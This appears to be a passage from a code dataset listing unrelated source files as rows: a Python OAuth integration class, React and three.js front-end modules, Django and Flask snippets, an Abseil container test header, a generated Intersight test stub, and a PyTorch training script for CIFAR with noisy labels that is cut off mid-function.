text
stringlengths 3
1.05M
|
|---|
from abc import ABC, abstractmethod
from chalicelib.utils import pg_client, helper
class BaseIntegration(ABC):
def __init__(self, user_id, ISSUE_CLASS):
self._user_id = user_id
self.issue_handler = ISSUE_CLASS(self.integration_token)
@property
@abstractmethod
def provider(self):
pass
@property
def integration_token(self):
integration = self.get()
if integration is None:
print("no token configured yet")
return None
return integration["token"]
def get(self):
with pg_client.PostgresClient() as cur:
cur.execute(
cur.mogrify(
"""SELECT *
FROM public.oauth_authentication
WHERE user_id=%(user_id)s AND provider=%(provider)s;""",
{"user_id": self._user_id, "provider": self.provider.lower()})
)
return helper.dict_to_camel_case(cur.fetchone())
@abstractmethod
def get_obfuscated(self):
pass
@abstractmethod
def update(self, changes, obfuscate=False):
pass
@abstractmethod
def _add(self, data):
pass
@abstractmethod
def delete(self):
pass
@abstractmethod
def add_edit(self, data):
pass
|
import React from 'react';
import format from 'date-fns/format';
import {LineChart, XAxis, YAxis, CartesianGrid, Tooltip, Line} from 'recharts';
const CustomizedAxisTick = ({x, y, stroke, payload, range}) => {
const dateFormat = {
day: 'h:mm a',
week: 'MM/dd',
month: 'MM/dd'
};
const date = range === 'day' ? payload.value : payload.value + 'T00:00:00';
return (
<g transform={`translate(${x},${y})`}>
<text x={0} y={0} dy={16} textAnchor='middle' fill='#666'>{format(new Date(date), dateFormat[range])}</text>
</g>
);
};
const tooltipFormater = (value) => {
return format(new Date(value), 'MM/dd/yyyy h:mm a');
};
export const DayGraph = ({data, range, room}) => {
return (
<LineChart width={800} height={400} data={data} margin={{top: 10}}>
<CartesianGrid strokeDasharray='3 3'/>
<XAxis dataKey='timestamp' tick={<CustomizedAxisTick range={range} />}/>
<YAxis/>
<Tooltip labelFormatter={tooltipFormater}/>
<Line type='monotone' dataKey='temp' stroke='#8884d8' dot={false} label={false}/>
<Line type='monotone' dataKey='hum' stroke='#82ca9d' dot={false}/>
</LineChart>
);
};
export const HighLowGraph = ({data, range}) => {
return (
<LineChart width={800} height={400} data={data} margin={{top: 10}}>
<CartesianGrid strokeDasharray='3 3'/>
<XAxis dataKey='date' tick={<CustomizedAxisTick range={range} />}/>
<YAxis/>
<Tooltip/>
<Line type='monotone' name='Temp high' dataKey='tempHigh' stroke='#8884d8' dot={false} label={false}/>
<Line type='monotone' name='Temp low' dataKey='tempLow' stroke='#8884d8' dot={false} label={false}/>
<Line type='monotone' name='Humitity high' dataKey='humidityHigh' stroke='#82ca9d' dot={false} label={false}/>
<Line type='monotone' name='Humitity low' dataKey='humidityLow' stroke='#82ca9d' dot={false} label={false}/>
</LineChart>
)
}
|
import django_tables2 as tables
__all__ = (
'TenantColumn',
)
class TenantColumn(tables.TemplateColumn):
"""
Include the tenant description.
"""
template_code = """
{% if record.tenant %}
<a href="{{ record.tenant.get_absolute_url }}" title="{{ record.tenant.description }}">{{ record.tenant }}</a>
{% elif record.vrf.tenant %}
<a href="{{ record.vrf.tenant.get_absolute_url }}" title="{{ record.vrf.tenant.description }}">{{ record.vrf.tenant }}</a>*
{% else %}
—
{% endif %}
"""
def __init__(self, *args, **kwargs):
super().__init__(template_code=self.template_code, *args, **kwargs)
def value(self, value):
return str(value) if value else None
|
def add_rank_score(score, ranked):
if len(ranked) == 0 or ranked[len(ranked)-1] != score:
ranked.append(score)
def add_player_score(score, ranked):
if len(ranked) == 0:
ranked.append(score)
return 1
else:
index = len(ranked) / 2
for i in range(0, len(ranked)):
index = i
if score > ranked[i]:
ranked.insert(i, score)
break
elif score == ranked[i]:
break
else:
continue
if index == len(ranked) - 1 and ranked[index] != score:
ranked.append(score)
index += 1
return index + 1
def add_player_score_2(score, ranked, left, right):
if left == right:
if score > ranked[left]:
ranked.insert(left, score)
return left + 1
elif score < ranked[left]:
ranked.insert(left+1, score)
return left + 2
else:
return left
else:
mid = (int)((left + right) / 2)
if score < ranked[mid]:
return add_player_score_2(score, ranked, mid+1, right)
elif score > ranked[mid]:
return add_player_score_2(score, ranked, left, mid-1)
else:
return mid + 1
def add_player_score_3(score, ranked):
left = 0
right = len(ranked) - 1
while left != right:
mid = (int)((left + right) / 2)
if score < ranked[mid]:
left = mid + 1
elif score > ranked[mid]:
right = mid - 1
else:
return mid + 1
if score > ranked[left]:
ranked.insert(left, score)
return left + 1
elif score < ranked[left]:
ranked.insert(left+1, score)
return left + 2
else:
return left
r = [100, 90, 90, 80]
p = [70, 80, 105]
rr = []
order = []
for i in range(0, len(r)):
add_rank_score(r[i], rr)
print(rr)
dd = {}
for i in range(0, len(p)):
key = f'{p[i]}'
if key not in dd.keys():
o = add_player_score_3(p[i], rr)
order.append(o)
dd.update(key=o)
else:
order.append(dd.get(key))
print(rr)
print(order)
|
require('dotenv').config()
module.exports = {
siteMetadata: {
title: `RahatCodes`,
description: `Monday night coding with Rahat.`,
author: `Rahat Chowdhury`,
},
plugins: [
{
resolve: `gatsby-source-contentful`,
options: {
spaceId: process.env.SPACE_ID,
accessToken: process.env.API_KEY,
},
},
`gatsby-plugin-react-helmet`,
{
resolve: `gatsby-source-filesystem`,
options: {
name: `images`,
path: `${__dirname}/src/images`,
},
},
`gatsby-transformer-sharp`,
`gatsby-plugin-sharp`,
{
resolve: `gatsby-plugin-manifest`,
options: {
name: `gatsby-starter-default`,
short_name: `starter`,
start_url: `/`,
background_color: `#FFFFFF`,
theme_color: `#FFFFFF`,
display: `minimal-ui`,
icon: `src/images/icon.png`, // This path is relative to the root of the site.
},
},
// this (optional) plugin enables Progressive Web App + Offline functionality
// To learn more, visit: https://gatsby.dev/offline
// `gatsby-plugin-offline`,
],
}
|
# -*- coding: utf-8 -*-
#from config import Config
from flask import Flask, render_template
from flask_pymongo import PyMongo
import os
mongo = PyMongo()
def create_app(config_filename):
app = Flask(__name__)
app.config.from_object(config_filename)
app.config["APPLICATION_ROOT"] = "/api"
mongo.init_app(app)
from .product import Product as product_blueprint
app.register_blueprint(product_blueprint)
from .material import Material as material_blueprint
app.register_blueprint(material_blueprint)
app.config['SECRET_KEY'] = os.urandom(24)
return app
|
from django.db import models
# Create your models here.
class Question(models.Model):
question_text = models.CharField(max_length=200)
pub_date = models.DateTimeField('date published')
class Choice(models.Model):
question = models.OneToOneField(Question, on_delete=models.CASCADE, primary_key=True)
choice_text = models.CharField(max_length=200)
votes = models.IntegerField(default=0)
|
// Copyright 2018 The Abseil Authors.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
#ifndef ABSL_CONTAINER_INTERNAL_UNORDERED_MAP_MODIFIERS_TEST_H_
#define ABSL_CONTAINER_INTERNAL_UNORDERED_MAP_MODIFIERS_TEST_H_
#include "gmock/gmock.h"
#include "gtest/gtest.h"
#include "absl/container/internal/hash_generator_testing.h"
#include "absl/container/internal/hash_policy_testing.h"
namespace absl {
namespace container_internal {
template <class UnordMap>
class ModifiersTest : public ::testing::Test {};
TYPED_TEST_CASE_P(ModifiersTest);
TYPED_TEST_P(ModifiersTest, Clear) {
using T = hash_internal::GeneratedType<TypeParam>;
std::vector<T> values;
std::generate_n(std::back_inserter(values), 10,
hash_internal::Generator<T>());
TypeParam m(values.begin(), values.end());
ASSERT_THAT(items(m), ::testing::UnorderedElementsAreArray(values));
m.clear();
EXPECT_THAT(items(m), ::testing::UnorderedElementsAre());
EXPECT_TRUE(m.empty());
}
TYPED_TEST_P(ModifiersTest, Insert) {
using T = hash_internal::GeneratedType<TypeParam>;
using V = typename TypeParam::mapped_type;
T val = hash_internal::Generator<T>()();
TypeParam m;
auto p = m.insert(val);
EXPECT_TRUE(p.second);
EXPECT_EQ(val, *p.first);
T val2 = {val.first, hash_internal::Generator<V>()()};
p = m.insert(val2);
EXPECT_FALSE(p.second);
EXPECT_EQ(val, *p.first);
}
TYPED_TEST_P(ModifiersTest, InsertHint) {
using T = hash_internal::GeneratedType<TypeParam>;
using V = typename TypeParam::mapped_type;
T val = hash_internal::Generator<T>()();
TypeParam m;
auto it = m.insert(m.end(), val);
EXPECT_TRUE(it != m.end());
EXPECT_EQ(val, *it);
T val2 = {val.first, hash_internal::Generator<V>()()};
it = m.insert(it, val2);
EXPECT_TRUE(it != m.end());
EXPECT_EQ(val, *it);
}
TYPED_TEST_P(ModifiersTest, InsertRange) {
using T = hash_internal::GeneratedType<TypeParam>;
std::vector<T> values;
std::generate_n(std::back_inserter(values), 10,
hash_internal::Generator<T>());
TypeParam m;
m.insert(values.begin(), values.end());
ASSERT_THAT(items(m), ::testing::UnorderedElementsAreArray(values));
}
TYPED_TEST_P(ModifiersTest, InsertOrAssign) {
#ifdef UNORDERED_MAP_CXX17
using std::get;
using K = typename TypeParam::key_type;
using V = typename TypeParam::mapped_type;
K k = hash_internal::Generator<K>()();
V val = hash_internal::Generator<V>()();
TypeParam m;
auto p = m.insert_or_assign(k, val);
EXPECT_TRUE(p.second);
EXPECT_EQ(k, get<0>(*p.first));
EXPECT_EQ(val, get<1>(*p.first));
V val2 = hash_internal::Generator<V>()();
p = m.insert_or_assign(k, val2);
EXPECT_FALSE(p.second);
EXPECT_EQ(k, get<0>(*p.first));
EXPECT_EQ(val2, get<1>(*p.first));
#endif
}
TYPED_TEST_P(ModifiersTest, InsertOrAssignHint) {
#ifdef UNORDERED_MAP_CXX17
using std::get;
using K = typename TypeParam::key_type;
using V = typename TypeParam::mapped_type;
K k = hash_internal::Generator<K>()();
V val = hash_internal::Generator<V>()();
TypeParam m;
auto it = m.insert_or_assign(m.end(), k, val);
EXPECT_TRUE(it != m.end());
EXPECT_EQ(k, get<0>(*it));
EXPECT_EQ(val, get<1>(*it));
V val2 = hash_internal::Generator<V>()();
it = m.insert_or_assign(it, k, val2);
EXPECT_EQ(k, get<0>(*it));
EXPECT_EQ(val2, get<1>(*it));
#endif
}
TYPED_TEST_P(ModifiersTest, Emplace) {
using T = hash_internal::GeneratedType<TypeParam>;
using V = typename TypeParam::mapped_type;
T val = hash_internal::Generator<T>()();
TypeParam m;
// TODO(alkis): We need a way to run emplace in a more meaningful way. Perhaps
// with test traits/policy.
auto p = m.emplace(val);
EXPECT_TRUE(p.second);
EXPECT_EQ(val, *p.first);
T val2 = {val.first, hash_internal::Generator<V>()()};
p = m.emplace(val2);
EXPECT_FALSE(p.second);
EXPECT_EQ(val, *p.first);
}
TYPED_TEST_P(ModifiersTest, EmplaceHint) {
using T = hash_internal::GeneratedType<TypeParam>;
using V = typename TypeParam::mapped_type;
T val = hash_internal::Generator<T>()();
TypeParam m;
// TODO(alkis): We need a way to run emplace in a more meaningful way. Perhaps
// with test traits/policy.
auto it = m.emplace_hint(m.end(), val);
EXPECT_EQ(val, *it);
T val2 = {val.first, hash_internal::Generator<V>()()};
it = m.emplace_hint(it, val2);
EXPECT_EQ(val, *it);
}
TYPED_TEST_P(ModifiersTest, TryEmplace) {
#ifdef UNORDERED_MAP_CXX17
using T = hash_internal::GeneratedType<TypeParam>;
using V = typename TypeParam::mapped_type;
T val = hash_internal::Generator<T>()();
TypeParam m;
// TODO(alkis): We need a way to run emplace in a more meaningful way. Perhaps
// with test traits/policy.
auto p = m.try_emplace(val.first, val.second);
EXPECT_TRUE(p.second);
EXPECT_EQ(val, *p.first);
T val2 = {val.first, hash_internal::Generator<V>()()};
p = m.try_emplace(val2.first, val2.second);
EXPECT_FALSE(p.second);
EXPECT_EQ(val, *p.first);
#endif
}
TYPED_TEST_P(ModifiersTest, TryEmplaceHint) {
#ifdef UNORDERED_MAP_CXX17
using T = hash_internal::GeneratedType<TypeParam>;
using V = typename TypeParam::mapped_type;
T val = hash_internal::Generator<T>()();
TypeParam m;
// TODO(alkis): We need a way to run emplace in a more meaningful way. Perhaps
// with test traits/policy.
auto it = m.try_emplace(m.end(), val.first, val.second);
EXPECT_EQ(val, *it);
T val2 = {val.first, hash_internal::Generator<V>()()};
it = m.try_emplace(it, val2.first, val2.second);
EXPECT_EQ(val, *it);
#endif
}
template <class V>
using IfNotVoid = typename std::enable_if<!std::is_void<V>::value, V>::type;
// In openmap we chose not to return the iterator from erase because that's
// more expensive. As such we adapt erase to return an iterator here.
struct EraseFirst {
template <class Map>
auto operator()(Map* m, int) const
-> IfNotVoid<decltype(m->erase(m->begin()))> {
return m->erase(m->begin());
}
template <class Map>
typename Map::iterator operator()(Map* m, ...) const {
auto it = m->begin();
m->erase(it++);
return it;
}
};
TYPED_TEST_P(ModifiersTest, Erase) {
using T = hash_internal::GeneratedType<TypeParam>;
using std::get;
std::vector<T> values;
std::generate_n(std::back_inserter(values), 10,
hash_internal::Generator<T>());
TypeParam m(values.begin(), values.end());
ASSERT_THAT(items(m), ::testing::UnorderedElementsAreArray(values));
auto& first = *m.begin();
std::vector<T> values2;
for (const auto& val : values)
if (get<0>(val) != get<0>(first)) values2.push_back(val);
auto it = EraseFirst()(&m, 0);
ASSERT_TRUE(it != m.end());
EXPECT_EQ(1, std::count(values2.begin(), values2.end(), *it));
EXPECT_THAT(items(m), ::testing::UnorderedElementsAreArray(values2.begin(),
values2.end()));
}
TYPED_TEST_P(ModifiersTest, EraseRange) {
using T = hash_internal::GeneratedType<TypeParam>;
std::vector<T> values;
std::generate_n(std::back_inserter(values), 10,
hash_internal::Generator<T>());
TypeParam m(values.begin(), values.end());
ASSERT_THAT(items(m), ::testing::UnorderedElementsAreArray(values));
auto it = m.erase(m.begin(), m.end());
EXPECT_THAT(items(m), ::testing::UnorderedElementsAre());
EXPECT_TRUE(it == m.end());
}
TYPED_TEST_P(ModifiersTest, EraseKey) {
using T = hash_internal::GeneratedType<TypeParam>;
std::vector<T> values;
std::generate_n(std::back_inserter(values), 10,
hash_internal::Generator<T>());
TypeParam m(values.begin(), values.end());
ASSERT_THAT(items(m), ::testing::UnorderedElementsAreArray(values));
EXPECT_EQ(1, m.erase(values[0].first));
EXPECT_EQ(0, std::count(m.begin(), m.end(), values[0]));
EXPECT_THAT(items(m), ::testing::UnorderedElementsAreArray(values.begin() + 1,
values.end()));
}
TYPED_TEST_P(ModifiersTest, Swap) {
using T = hash_internal::GeneratedType<TypeParam>;
std::vector<T> v1;
std::vector<T> v2;
std::generate_n(std::back_inserter(v1), 5, hash_internal::Generator<T>());
std::generate_n(std::back_inserter(v2), 5, hash_internal::Generator<T>());
TypeParam m1(v1.begin(), v1.end());
TypeParam m2(v2.begin(), v2.end());
EXPECT_THAT(items(m1), ::testing::UnorderedElementsAreArray(v1));
EXPECT_THAT(items(m2), ::testing::UnorderedElementsAreArray(v2));
m1.swap(m2);
EXPECT_THAT(items(m1), ::testing::UnorderedElementsAreArray(v2));
EXPECT_THAT(items(m2), ::testing::UnorderedElementsAreArray(v1));
}
// TODO(alkis): Write tests for extract.
// TODO(alkis): Write tests for merge.
REGISTER_TYPED_TEST_CASE_P(ModifiersTest, Clear, Insert, InsertHint,
InsertRange, InsertOrAssign, InsertOrAssignHint,
Emplace, EmplaceHint, TryEmplace, TryEmplaceHint,
Erase, EraseRange, EraseKey, Swap);
} // namespace container_internal
} // namespace absl
#endif // ABSL_CONTAINER_INTERNAL_UNORDERED_MAP_MODIFIERS_TEST_H_
|
# coding: utf-8
"""
Cisco Intersight
Cisco Intersight is a management platform delivered as a service with embedded analytics for your Cisco and 3rd party IT infrastructure. This platform offers an intelligent level of management that enables IT organizations to analyze, simplify, and automate their environments in more advanced ways than the prior generations of tools. Cisco Intersight provides an integrated and intuitive management experience for resources in the traditional data center as well as at the edge. With flexible deployment options to address complex security needs, getting started with Intersight is quick and easy. Cisco Intersight has deep integration with Cisco UCS and HyperFlex systems allowing for remote deployment, configuration, and ongoing maintenance. The model-based deployment works for a single system in a remote location or hundreds of systems in a data center and enables rapid, standardized configuration and deployment. It also streamlines maintaining those systems whether you are working with small or very large configurations. # noqa: E501
The version of the OpenAPI document: 1.0.9-1295
Contact: intersight@cisco.com
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_import
import unittest
import intersight
from intersight.models.hyperflex_hxdp_version_all_of import HyperflexHxdpVersionAllOf # noqa: E501
from intersight.rest import ApiException
class TestHyperflexHxdpVersionAllOf(unittest.TestCase):
"""HyperflexHxdpVersionAllOf unit test stubs"""
def setUp(self):
pass
def tearDown(self):
pass
def testHyperflexHxdpVersionAllOf(self):
"""Test HyperflexHxdpVersionAllOf"""
# FIXME: construct object with mandatory attributes with example values
# model = intersight.models.hyperflex_hxdp_version_all_of.HyperflexHxdpVersionAllOf() # noqa: E501
pass
if __name__ == '__main__':
unittest.main()
|
$(document).ready(function () {
let checkers = [];
function saveCheck (opt1) {
let del = 0;
checkers = checkers.reduce(function (a, f) { if (f !== $(opt1.target).attr('data-id')) { a.push(f); } else { del = 1; } return a; }, []);
if (del === 0) checkers.push($(opt1.target).attr('data-id'));
console.log('veriicated var checkers');
console.log(checkers);
}
$('.amenities ul li input[type=checkbox]').bind('click', saveCheck);
$.get('http://localhost:5001/api/v1/status/', function (data) {
console.log(data.status);
if (data.status === 'OK') {
$('#api_status').addClass('available');
} else {
$('#api_status').remove('available');
}
});
$.post({
url: 'http://localhost:5001/api/v1/places_search/',
data: JSON.stringify({amenities: []}),
contentType: 'application/json',
dataType: 'json',
success: function (data) {
filtAmenity(data);
}
});
});
const filtAmenity = function (data) {
const lista = [];
for (const places of data) {
lista.push(places.name.toLowerCase());
}
lista.sort();
const object = data.sort((x, y) => lista.indexOf(x.name.toLowerCase()) - lista.indexOf(y.name.toLowerCase()));
for (const places of object) {
$( `
<article>
<div class="title">
<h2>${places.name}</h2>
<div class="price_by_night">${places.price_by_night}</div>
</div>
<div class="information">
<div class="max_guest">
<i class="fa fa-users fa-3x" aria-hidden="true"></i>
<br />
${places.max_guest} Guests
</div>
<div class="number_rooms">
<i class="fa fa-bed fa-3x" aria-hidden="true"></i>
<br />
${places.number_rooms} Bedrooms
</div>
<div class="number_bathrooms">
<i class="fa fa-bath fa-3x" aria-hidden="true"></i>
<br />
${places.number_bathrooms} Bathroom
</div>
</div>
<!-- **********************
USER
********************** -->
<div class="description">
<p>${places.description}</p>
</div>
</article> <!-- End 1 PLACE Article -->
`).appendTo('section.places');
}
};
|
/**
* Copyright IBM Corp. 2019, 2020
*
* This source code is licensed under the Apache-2.0 license found in the
* LICENSE file in the root directory of this source tree.
*
* Code generated by @carbon/icon-build-helpers. DO NOT EDIT.
*/
'use strict';
function _interopDefault (ex) { return (ex && (typeof ex === 'object') && 'default' in ex) ? ex['default'] : ex; }
var Icon = require('../Icon-e8f71a9c.js');
require('@carbon/icon-helpers');
require('prop-types');
var React = _interopDefault(require('react'));
var _ref2 =
/*#__PURE__*/
/*#__PURE__*/
React.createElement("path", {
d: "M19,4,17.5859,5.4141,22.1719,10H10a2,2,0,0,0-2,2V28h2V12H22.1719l-4.586,4.5859L19,18l7-7Z"
});
var DirectionRight_0132 = /*#__PURE__*/React.forwardRef(function DirectionRight_0132(_ref, ref) {
var children = _ref.children,
rest = Icon._objectWithoutProperties(_ref, ["children"]);
return /*#__PURE__*/React.createElement(Icon.Icon, Icon._extends({
width: 32,
height: 32,
viewBox: "0 0 32 32",
xmlns: "http://www.w3.org/2000/svg",
fill: "currentColor",
ref: ref
}, rest), _ref2, children);
});
module.exports = DirectionRight_0132;
|
import * as THREE from 'three';
var scene, listener, timeout, mixer, door, doorMaterial;
const soundNames = [
'bells',
'horn',
'cowbell',
'guiro',
'mandolin',
'squeaker',
'train',
'whistle',
'motorhorn',
'surdo',
'trumpet',
];
var sounds = {};
soundNames.forEach( i => { sounds[i] = {animations: [], mesh: null, player: null, shadow: null} })
const MAX_REPETITIONS = 3;
var repetitions = MAX_REPETITIONS - 1;
function createDoorMaterial(ctx) {
return new THREE.ShaderMaterial({
uniforms: {
time: {value: 0},
selected: {value: 0},
tex: {value: ctx.assets['doorfx_tex']}
},
vertexShader: ctx.shaders.basic_vert,
fragmentShader: ctx.shaders.door_frag
});
}
export function setup(ctx) {
const assets = ctx.assets;
scene = assets['sound_model'].scene;
door = assets['sound_door_model'].scene;
door.getObjectByName('door_frame').material =
new THREE.MeshBasicMaterial({map: assets['sound_door_lm_tex']});
doorMaterial = createDoorMaterial(ctx);
door.getObjectByName('door').material = doorMaterial;
door.scale.set(0.5, 0.5, 0.5);
door.position.set(0.4, 0.6, 1);
door.rotation.set(0, 0.4, 0);
listener = new THREE.AudioListener();
mixer = new THREE.AnimationMixer(scene);
for (let id in sounds) {
const mesh = scene.getObjectByName(id);
if (!mesh) { continue; }
const sound = new THREE.PositionalAudio(listener);
const audioLoader = new THREE.AudioLoader();
audioLoader.load('assets/ogg/' + id + '.ogg', buffer => {
sound.setBuffer(buffer);
//sound.setRefDistance(20);
});
sounds[id].player = sound;
sounds[id].mesh = mesh;
mesh.visible = false;
mesh.add(sound);
const clip = THREE.AnimationClip.findByName(assets['sound_model'].animations, id);
if (clip) {
const action = mixer.clipAction(clip, mesh);
action.loop = THREE.LoopOnce;
sounds[id].animations.push(action);
}
for (let j = 0; j < mesh.children.length; j++) {
const obj = mesh.children[j];
const clip = THREE.AnimationClip.findByName(assets['sound_model'].animations, `${id}_${obj.name}`);
if (!clip) { continue; }
const action = mixer.clipAction(clip, mesh);
action.loop = THREE.LoopOnce;
sounds[id].animations.push(action);
}
let shadow = new THREE.Mesh(
new THREE.PlaneBufferGeometry(3, 3),
new THREE.MeshBasicMaterial({
color: mesh.children[0].material.color,
map: assets['sound_shadow_tex'],
transparent: true,
opacity: 0,
depthTest: false,
blending: THREE.AdditiveBlending
})
);
shadow.position.set(mesh.position.x, 0.001, mesh.position.z);
shadow.rotation.x = -Math.PI / 2;
scene.add(shadow);
sounds[id].shadow = shadow;
}
ctx.raycontrol.addState('sound', {
colliderMesh: door.getObjectByName('door'),
onHover: (intersection, active) => {
//teleport.onHover(intersection.point, active);
const scale = intersection.object.scale;
scale.z = Math.min(scale.z + 0.05 * (2 - door.scale.z), 1.5);
},
onHoverLeave: () => {
//teleport.onHoverLeave();
},
onSelectStart: (intersection, e) => {
ctx.goto = 0;
//teleport.onSelectStart(e);
},
onSelectEnd: (intersection) => {
//teleport.onSelectEnd(intersection.point);
}
});
const floorTexture = assets['grid_tex'];
const floor = new THREE.Mesh(
new THREE.PlaneBufferGeometry(20, 20),
new THREE.MeshBasicMaterial({map: floorTexture})
);
scene.add(floor);
floor.rotation.x = -Math.PI / 2;
ctx.raycontrol.addState('teleportSound', {
colliderMesh: floor,
onHover: (intersection, active) => {
ctx.teleport.onHover(intersection.point, active);
},
onHoverLeave: () => {
ctx.teleport.onHoverLeave();
},
onSelectStart: (intersection, e) => {
ctx.teleport.onSelectStart(e);
},
onSelectEnd: (intersection) => {
ctx.teleport.onSelectEnd(intersection.point);
}
});
}
var currentSound = -1;
function playSound() {
let sound;
if (currentSound >= 0) {
sound = sounds[soundNames[currentSound]];
sound.player.stop();
if (sound.animations.length) {
sound.mesh.visible = false;
sound.animations.forEach( i => {i.stop()});
}
}
repetitions ++;
if (repetitions == MAX_REPETITIONS) {
repetitions = 0;
// get next sound
do {
currentSound = (currentSound + 1) % soundNames.length;
sound = sounds[soundNames[currentSound]];
} while(!sound.mesh);
}
sound.player.play();
if (sound.animations.length) {
sound.mesh.visible = true;
sound.animations.forEach( i => {i.play()});
}
sound.shadow.material.opacity = 1;
timeout = setTimeout(playSound, 2000);
}
export function enter(ctx) {
ctx.renderer.setClearColor(0x000000);
ctx.scene.add(scene);
ctx.scene.add(door);
ctx.camera.add(listener);
timeout = setTimeout(playSound, 2000);
ctx.raycontrol.activateState('teleportSound');
ctx.raycontrol.activateState('sound');
}
export function exit(ctx) {
ctx.scene.remove(scene);
ctx.scene.remove(door);
ctx.camera.remove(listener);
ctx.raycontrol.deactivateState('teleportSound');
ctx.raycontrol.deactivateState('sound');
clearTimeout(timeout);
}
export function execute(ctx, delta, time) {
mixer.update(delta);
const sound = sounds[soundNames[currentSound]];
if (sound && sound.shadow.material.opacity > 0) {
sound.shadow.material.opacity -= delta * 0.5;
}
doorMaterial.uniforms.time.value = time;
if (door.scale.z > 0.5) {
door.scale.z = Math.max(door.scale.z - delta * door.scale.z, 0.5);
}
}
|
# -*- coding: utf-8 -*-
import argparse
import os
import shutil
import time
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.nn.parallel
import torch.backends.cudnn as cudnn
import torch.optim
import torch.utils.data
import torchvision.transforms as transforms
import torchvision.datasets as datasets
from torch.autograd import Variable
from torch.utils.data.sampler import SubsetRandomSampler
import matplotlib.pyplot as plt
# import sklearn.metrics as sm
# import pandas as pd
# import sklearn.metrics as sm
import random
import numpy as np
# from wideresnet import WideResNet, VNet
from resnet import ResNet32,VNet
from load_corrupted_data import CIFAR10, CIFAR100
parser = argparse.ArgumentParser(description='PyTorch WideResNet Training')
parser.add_argument('--dataset', default='cifar10', type=str,
help='dataset (cifar10 [default] or cifar100)')
parser.add_argument('--corruption_prob', type=float, default=0.4,
help='label noise')
parser.add_argument('--corruption_type', '-ctype', type=str, default='unif',
help='Type of corruption ("unif" or "flip" or "flip2").')
parser.add_argument('--num_meta', type=int, default=1000)
parser.add_argument('--epochs', default=120, type=int,
help='number of total epochs to run')
parser.add_argument('--iters', default=60000, type=int,
help='number of total iters to run')
parser.add_argument('--start-epoch', default=0, type=int,
help='manual epoch number (useful on restarts)')
parser.add_argument('--batch_size', '--batch-size', default=100, type=int,
help='mini-batch size (default: 100)')
parser.add_argument('--lr', '--learning-rate', default=1e-1, type=float,
help='initial learning rate')
parser.add_argument('--momentum', default=0.9, type=float, help='momentum')
parser.add_argument('--nesterov', default=True, type=bool, help='nesterov momentum')
parser.add_argument('--weight-decay', '--wd', default=5e-4, type=float,
help='weight decay (default: 5e-4)')
parser.add_argument('--print-freq', '-p', default=10, type=int,
help='print frequency (default: 10)')
parser.add_argument('--layers', default=28, type=int,
help='total number of layers (default: 28)')
parser.add_argument('--widen-factor', default=10, type=int,
help='widen factor (default: 10)')
parser.add_argument('--droprate', default=0, type=float,
help='dropout probability (default: 0.0)')
parser.add_argument('--no-augment', dest='augment', action='store_false',
help='whether to use standard augmentation (default: True)')
parser.add_argument('--resume', default='', type=str,
help='path to latest checkpoint (default: none)')
parser.add_argument('--name', default='WideResNet-28-10', type=str,
help='name of experiment')
parser.add_argument('--seed', type=int, default=1)
parser.add_argument('--prefetch', type=int, default=0, help='Pre-fetching threads.')
parser.set_defaults(augment=True)
args = parser.parse_args()
use_cuda = True
torch.manual_seed(args.seed)
device = torch.device("cuda" if use_cuda else "cpu")
print()
print(args)
def build_dataset():
normalize = transforms.Normalize(mean=[x / 255.0 for x in [125.3, 123.0, 113.9]],
std=[x / 255.0 for x in [63.0, 62.1, 66.7]])
if args.augment:
train_transform = transforms.Compose([
transforms.ToTensor(),
transforms.Lambda(lambda x: F.pad(x.unsqueeze(0),
(4, 4, 4, 4), mode='reflect').squeeze()),
transforms.ToPILImage(),
transforms.RandomCrop(32),
transforms.RandomHorizontalFlip(),
transforms.ToTensor(),
normalize,
])
else:
train_transform = transforms.Compose([
transforms.ToTensor(),
normalize,
])
test_transform = transforms.Compose([
transforms.ToTensor(),
normalize
])
if args.dataset == 'cifar10':
train_data_meta = CIFAR10(
root='../data', train=True, meta=True, num_meta=args.num_meta, corruption_prob=args.corruption_prob,
corruption_type=args.corruption_type, transform=train_transform, download=True)
train_data = CIFAR10(
root='../data', train=True, meta=False, num_meta=args.num_meta, corruption_prob=args.corruption_prob,
corruption_type=args.corruption_type, transform=train_transform, download=True, seed=args.seed)
test_data = CIFAR10(root='../data', train=False, transform=test_transform, download=True)
elif args.dataset == 'cifar100':
train_data_meta = CIFAR100(
root='../data', train=True, meta=True, num_meta=args.num_meta, corruption_prob=args.corruption_prob,
corruption_type=args.corruption_type, transform=train_transform, download=True)
train_data = CIFAR100(
root='../data', train=True, meta=False, num_meta=args.num_meta, corruption_prob=args.corruption_prob,
corruption_type=args.corruption_type, transform=train_transform, download=True, seed=args.seed)
test_data = CIFAR100(root='../data', train=False, transform=test_transform, download=True)
train_loader = torch.utils.data.DataLoader(
train_data, batch_size=args.batch_size, shuffle=True,
num_workers=args.prefetch, pin_memory=True)
train_meta_loader = torch.utils.data.DataLoader(
train_data_meta, batch_size=args.batch_size, shuffle=True,
num_workers=args.prefetch, pin_memory=True)
test_loader = torch.utils.data.DataLoader(test_data, batch_size=args.batch_size, shuffle=False,
num_workers=args.prefetch, pin_memory=True)
return train_loader, train_meta_loader, test_loader
def build_model():
model = ResNet32(args.dataset == 'cifar10' and 10 or 100)
if torch.cuda.is_available():
model.cuda()
torch.backends.cudnn.benchmark = True
return model
def accuracy(output, target, topk=(1,)):
"""Computes the precision@k for the specified values of k"""
maxk = max(topk)
batch_size = target.size(0)
_, pred = output.topk(maxk, 1, True, True)
pred = pred.t()
correct = pred.eq(target.view(1, -1).expand_as(pred))
res = []
for k in topk:
correct_k = correct[:k].view(-1).float().sum(0)
res.append(correct_k.mul_(100.0 / batch_size))
return res
def adjust_learning_rate(optimizer, epochs):
lr = args.lr * ((0.1 ** int(epochs >= 80)) * (0.1 ** int(epochs >= 100))) # For WRN-28-10
for param_group in optimizer.param_groups:
param_group['lr'] = lr
def test(model, test_loader):
model.eval()
correct = 0
test_loss = 0
with torch.no_grad():
for batch_idx, (inputs, targets) in enumerate(test_loader):
inputs, targets = inputs.to(device), targets.to(device)
outputs = model(inputs)
test_loss +=F.cross_entropy(outputs, targets).item()
_, predicted = outputs.max(1)
correct += predicted.eq(targets).sum().item()
test_loss /= len(test_loader.dataset)
